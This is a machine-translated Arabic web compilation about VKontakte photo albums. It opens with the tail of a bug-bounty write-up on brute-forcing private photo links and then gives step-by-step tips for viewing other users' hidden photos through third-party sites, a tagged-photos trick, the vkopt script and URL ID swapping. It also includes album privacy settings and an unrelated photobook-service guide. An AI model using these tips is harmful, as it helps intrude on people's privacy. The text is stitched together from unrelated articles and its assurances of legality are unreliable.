بشكل عام، كل هذا يتوقف على اتصالك بالإنترنت وسرعة الخوادم الوكيلة، ووقت استجابة خوادم فكونتاكتي، وقوة المعالج والعديد من العوامل الأخرى. بعد تجربة البرنامج النصي أعلاه على حسابي، حصلت على الأرقام التالية (دون الأخذ بعين الاعتبار الوقت الذي أمضيته في تلقي الرموز المميزة):

يوضح الجدول متوسط ​​الوقت اللازم لتجربة بطاقات الهوية التي تحمل صورة خلال فترة معينة. أنا متأكد من أنه كان من الممكن تسريع كل هذا 10-20 مرة. على سبيل المثال، في برنامج نصي للقوة الغاشمة، قم بإنشاء قائمة انتظار كبيرة واحدة لجميع الطلبات والمزامنة العادية بينها، لأن في تنفيذي، سيؤدي طلب واحد مع انتهاء المهلة إلى إبطاء العملية بأكملها. وبشكل عام، يمكنك فقط شراء نسختين من EC2 والحصول على جميع صور أي مستخدم خلال ساعة واحدة. لكنني أردت بالفعل النوم.

وبشكل عام، لا يهم مقدار الوقت الذي يقضيه المهاجم في هذا الأمر، 5 ساعات أو يوم كامل، لأنه سيحصل بطريقة أو بأخرى على روابط لصور خاصة. إن القدرة على الوصول بشكل آمن إلى المعلومات الخاصة في فترة زمنية محدودة هي التهديد الرئيسي الذي تشكله هذه الثغرة الأمنية.

الإبلاغ عن ثغرة أمنية

في البداية تم إرسال التقرير إلى خدمة الدعم، ولكن بعد الرد مثل "شكرًا لك، ربما سنقوم بإصلاح المشكلة بطريقة أو بأخرى..." وأسبوع من الانتظار، شعرت بنوع من الحزن. شكرًا جزيلاً لك على المساعدة في الاتصال بالمطورين مباشرةً. بعد ذلك تم إغلاق الأخطاء خلال ساعات قليلة، وبعد أيام قليلة قامت الإدارة بتحويل مكافأة قدرها 10 آلاف إلى حسابي

تعليمات

إذا تم حظر الصفحة التي تحتوي على صور، فانظر إلى شريط العناوين (يظهر عنوان الصفحة التي أدخلتها في الأعلى). في هذا السطر سترى النقش http://vkontakte.ru/id(numbers). تحتاج إلى نسخ معرف المستخدم الذي تريد رؤية صوره. على سبيل المثال http://vkontakte.ru/id123حيث أن الرقم الموجود في نهاية الرابط (123) هو المعرف المطلوب.

اذهب إلى الموقع http://susla.ru/سترى على الفور الصفحة الرئيسية التي تحتوي على تعليمات موجزة ونافذة إدخال تحمل اسم "هنا". الصق أو أدخل المعرف المنسوخ في هذه النافذة وانقر على "عرض". بعد الضغط سيتم نقلك إلى صفحة جديدة حيث سيتم عرض جميع صور المستخدم الذي تبحث عنه.

انقر على الصور التي تظهر. سيتم عرضها بالحجم الكامل. يمكنك مشاهدتها بحرية. إذا لم تكن هناك صور على صفحة المستخدم، سيتم عرض الرسالة "لا".

فيديو حول الموضوع

يرجى الملاحظة

في كثير من الأحيان، لعرض صفحات وصور الآخرين، يعرضون استخدام البرامج المختلفة التي تتطلب التثبيت. هناك احتمال بنسبة 99% أن تكون هذه البرامج فيروسات. لا تقم بتثبيتها تحت أي ظرف من الظروف، وفي حالة تثبيتها، قم بإزالتها على الفور وفحص جهاز الكمبيوتر الخاص بك باستخدام برنامج مكافحة الفيروسات

مصادر:

  • كيفية عرض ألبومات الصور على فكونتاكتي

تعليمات

في القائمة المجاورة للصورة الرمزية أو الصورة الشخصية، ابحث عن رابط "صوري" (أو "صوري"). يمكن أن يكون موجودًا في القائمة الموجودة على جانب الصورة، أو أسفلها، أو فوقها في كثير من الأحيان. في بعض الحالات، يتوفر الوصول إلى الصور من أي صفحة من صفحات الموقع - مباشرة أسفل رأس الموقع، على الجانب الأيسر أو الأيمن من الصفحة، يمكن العثور على نفس الرابط.

ستعرض الصفحة الموجودة على هذا الرابط صورًا مصغرة لجميع الصور التي قمت بتحميلها، بما في ذلك الصور الرمزية والصور التي تم تحميلها بواسطة مستخدمين آخرين إذا تمت الإشارة إليك فيها. انقر بزر الماوس الأيسر على الصورة المصغرة لإطار العنوان لأحد ألبومات الصور الخاصة بك.

ستظهر لك صور مصغرة لجميع الصور الموجودة في الألبوم. انقر على الصورة الأولى للتكبير. قم بالتمرير خلال الألبوم بالنقر فوق زر الماوس الأيسر أو باستخدام مجموعة "Ctrl-السهم الأيمن".

فيديو حول الموضوع

نحب جميعًا أن نعرض لأصدقائنا الصور التي تم التقاطها أثناء السفر والأحداث المختلفة التي لا تنسى. تتيح لك التقنيات الرقمية تحميل الصور مباشرة على الشبكة - إلى موارد مختلفة، بما في ذلك الشبكات الاجتماعية. ولكن كيف يمكنك تحديد عدد المستخدمين الذين يمكنهم مشاهدة صورك؟

تعليمات

أكثر الشبكات الاجتماعية في روسيا، بناءً على عدد الحسابات والزيارات يوميًا، هي VKontakte وFaceBook. يمكنك إغلاق الوصول إلى ألبوم VKontakte على النحو التالي. انتقل إلى "صوري" على صفحة VK الخاصة بك وابحث عن الصورة التي تحتاجها. مقابل السطر "متاح"، حدد "فقط لي" إذا كنت لا تريد أن يرى أحد الصور من هذا. سيعرض الخيار "فقط" الألبوم الخاص بأصدقاء فكونتاكتي فقط، "بعض الأصدقاء" - الأصدقاء المختارون فقط من القائمة العامة، "الجميع باستثناء" - قائمة الأصدقاء بأكملها، باستثناء "ورقة التحديد" التي تم إنشاؤها خصيصًا لهذا الألبوم بعد تحديد وضع الوصول، فقط اترك الصفحة. سيتم تعيين خصوصية الألبوم.

على شبكة التواصل الاجتماعي FaceBook، يتم إغلاق الألبومات على النحو التالي. انتقل إلى ألبوم الصور الذي تريده وانقر على الزر "تحرير معلومات الألبوم" الموجود أسفل الشاشة. في علامة التبويب خصائص الألبوم، في قائمة الوصول، حدد قيمة الخصوصية المناسبة. ومع ذلك، على الرغم من هذا التقييد، سيظل المستخدمون قادرين على عرض بعض صورك، وهي الصور التي تم تحميلها بواسطة مستخدمين آخرين والتي تم وضع علامة باسمك عليها. لا يزال التقييد يسمح للمستخدمين الآخرين بمشاهدة صورك في أقسام أخرى من الموقع. يرجى ملاحظة أن المستخدم الذي نشر الصورة هو من يختار جمهور تلك الصورة. إذا كنت لا تريد أن يرى أصدقائه أو مستخدمي Facebook الآخرين صورتك، فاطلب منه حذف الصورة عبر الرسائل.

فيديو حول الموضوع

على الرغم من أن شبكة التواصل الاجتماعي VK تولي اهتمامًا كبيرًا لأمن البيانات الشخصية للمستخدمين، إلا أنه لا تزال هناك طرق لاختراق الحياة الشخصية لأشخاص آخرين. ومع ذلك، في أي حال، لن تتمكن من الوصول الجاد إلى المعلومات المتعلقة بشخص ما - فالثغرات الأمنية تكون دائمًا محدودة للغاية وليست فعالة دائمًا.

سوف تحتاج

  • -الملف الشخصي الخاص على موقع vk.com.

تعليمات

أدخل durov.ru في شريط العناوين في متصفحك. هذا المشروع هو فرع من خدمة vk.com وبالتالي فهو قانوني تمامًا - في المراحل الأولى من التطوير كان عبارة عن منصة اختبار لتقنية vkontakte-API.

افتح الملف الشخصي للشخص الذي تهتم به. ستجد أسفل الصورة الرمزية الخاصة بك ثلاثة أشرطة زرقاء تشير إلى الأقسام: الأصدقاء والأصدقاء عبر الإنترنت والصور. سيتم فتح الأخير فقط إذا كان بإمكانك عرض ألبوم صور واحد على الأقل في هذه الصفحة. يرجى ملاحظة أنه على الجانب الأيمن من الخط الأزرق يوجد زر "الصور مع المستخدم" وهو نشط. السر هو أنه يمكنك رؤية "الصور التي تم وضع علامة باسم المستخدم فيها"، بغض النظر عما إذا كانت مفتوحة في خصائص "الخصوصية" أم لا - ما عليك سوى النقر على أي من الصور التي تظهر في الصف، وسوف تتوسع إلى ملء الشاشة.

تحتاج إلى فتح الصورة، والنقر بزر الماوس الأيمن مباشرة على الصورة وتحديد "فتح الصورة في نافذة جديدة" أو ما شابه. سيتم فتح علامة تبويب جديدة مع توسيع الصورة فقط. على عنوان هذه "الصفحة" (يمكنك نسخها في شريط العناوين)، يمكن لأي مستخدم الوصول إلى هذه الصورة. سيبدو الرابط كالتالي: http://cs9713.vk.com/u21472493/-14/z_b8639xxx.jpg

يمكنك استخدام البرنامج النصي vkopt. هذا ليس برنامجًا ضارًا - إنه مجرد مجموعة من "النصائح" لمتصفحك، والتي من خلالها سيكون قادرًا على عرض المزيد من المعلومات حول صفحات الأشخاص الآخرين. لذلك، ستظهر قائمة جديدة تمامًا: "التحقق من الأمان". بالضغط على هذا الزر، ستظهر أزرار على شاشتك يمكنك من خلالها عرض بعض بيانات المستخدم، بما في ذلك الصور.

فيديو حول الموضوع

نصيحة مفيدة

يمكنك العثور على الإنترنت على وصف معقد إلى حد ما للوصول إلى صور الآخرين عن طريق تغيير الأسماء في شريط العناوين. يعمل البرنامج النصي vkopt على نفس المبدأ، ولكنه يفعل كل شيء تلقائيًا - ولا يوجد شيء غير قانوني فيه.

مصادر:

  • كيفية عرض الأصدقاء المخفيين في جهة الاتصال

من الممكن على موقع VKontakte إخفاء ألبوم به صور عن أعين المستخدمين الفضوليين (الحد من العرض للبعض أو الاحتفاظ بالصور لنفسك فقط). ومع ذلك، من الممكن أيضًا العودة إلى مشاهدة الصور.

سوف تحتاج

  • كمبيوتر مزود بإمكانية الوصول إلى الإنترنت والتسجيل على موقع فكونتاكتي

تعليمات

انتقل إلى صفحتك على موقع فكونتاكتي، وأدخل معلومات تسجيل الدخول وكلمة المرور الخاصة بك في الحقول المناسبة. على الجانب الأيمن من الصورة الرئيسية (الصورة الرمزية)، في قائمة أقسام حسابك، ابحث عن رابط "صوري" وانقر عليه بزر الماوس الأيسر مرة واحدة. سيتم فتح قائمة بألبوماتك التي تحتوي على الصور التي تم تنزيلها أمامك. ابحث عن مخزن الصور المطلوب وانقر عليه بالماوس. يمكنك الوصول إلى الصور بطريقة أخرى - على الجانب الأيمن من صفحتك، ضمن قائمة الأصدقاء والاشتراكات، ابحث عن قسم "ألبومات الصور" وانتقل إليه بالضغط على النقش بزر الفأرة الأيسر مرة واحدة.

سيتم فتح صفحة تحتوي على الصور التي تم تحميلها أمامك. في الجزء العلوي منه على الجانب الأيمن، ابحث عن النقش "تحرير الألبوم" وانقر عليه بزر الفأرة الأيسر مرة واحدة. ستظهر صفحة بها تعديل صورك.

في أعلى الصفحة، ضمن حقل وصف الألبوم، ابحث عن فئتين للتعديل - "من يمكنه مشاهدة هذا الألبوم؟" و"من يمكنه التعليق على الصور؟" على يمين كل فئة، انقر بزر الماوس الأيمن مرة واحدة على النقش الموجود هناك. في نافذة الاختيار التي تفتح، انقر على "جميع المستخدمين" في الحالتين الأولى والثانية.

على موقع VKontakte، يمكنك أيضًا عرض المستخدمين الآخرين. للقيام بذلك، انسخ رقم معرف الحساب للشخص المطلوب في شريط العناوين. ثم الصق هذا الرقم في شريط العناوين في علامة تبويب جديدة http://vkontakte.ru/photos.php?id=000000. بدلاً من "000000"، استبدل رقم الصفحة الفردي للشخص الذي تهتم به. بعد ذلك اضغط على زر "Enter" في لوحة المفاتيح وستظهر أمامك ألبومات المستخدم.

مصادر:

  • كيفية فتح الألبومات المغلقة

لقد استخدم كل شخص بالغ وحتى طفل الكاميرا لتسجيل عشرات ومئات المرات من الأحداث المهمة في حياته أو حياة شخص آخر: الخطوة الأولى لأرجل لا تزال هشة، السقوط من دراجة، رقصة مستديرة حول كعكة عيد ميلاد، حفلة موسيقية، اقتراح الزواج. بالطبع، يعد التصوير والتصوير نشاطًا ممتعًا، لكن الجلوس لساعات طويلة ولصق "أفضل اللحظات" في الألبوم هو، للأسف، مسعى مكلف. بمعنى أنه يحتاج إلى الصبر. بفضل بوابة Wikers، أصبح بإمكان أي مستخدم للإنترنت، بغض النظر عن موقعه، تصميم كتاب صور شخصي بسرعة وكفاءة وإبداع. بمعنى آخر، Wikers هي خدمة لإنتاج منتجات الطباعة الشخصية، مثل كتب الصور وتقويمات الصور والملصقات والبطاقات البريدية والمجلات.

سوف تحتاج

تعليمات

حدد قالب كتاب الصور المطلوب. تتوفر حاليًا 6 قوالب على الموقع تتوافق مع أحجام الألبومات الأكثر شيوعًا.

تحميل وترتيب الصور في إطارات خاصة، إضافة نص.

الخطوة التالية هي عرض كتاب الصور الخاص بك. انقر فوق الزر "عرض" في الزاوية اليمنى السفلية من الشاشة. إذا كنت تحب كل شيء، فيمكنك المتابعة إلى الخروج. إذا كنت بحاجة إلى تغيير أي شيء آخر، فانقر على زر "تحرير".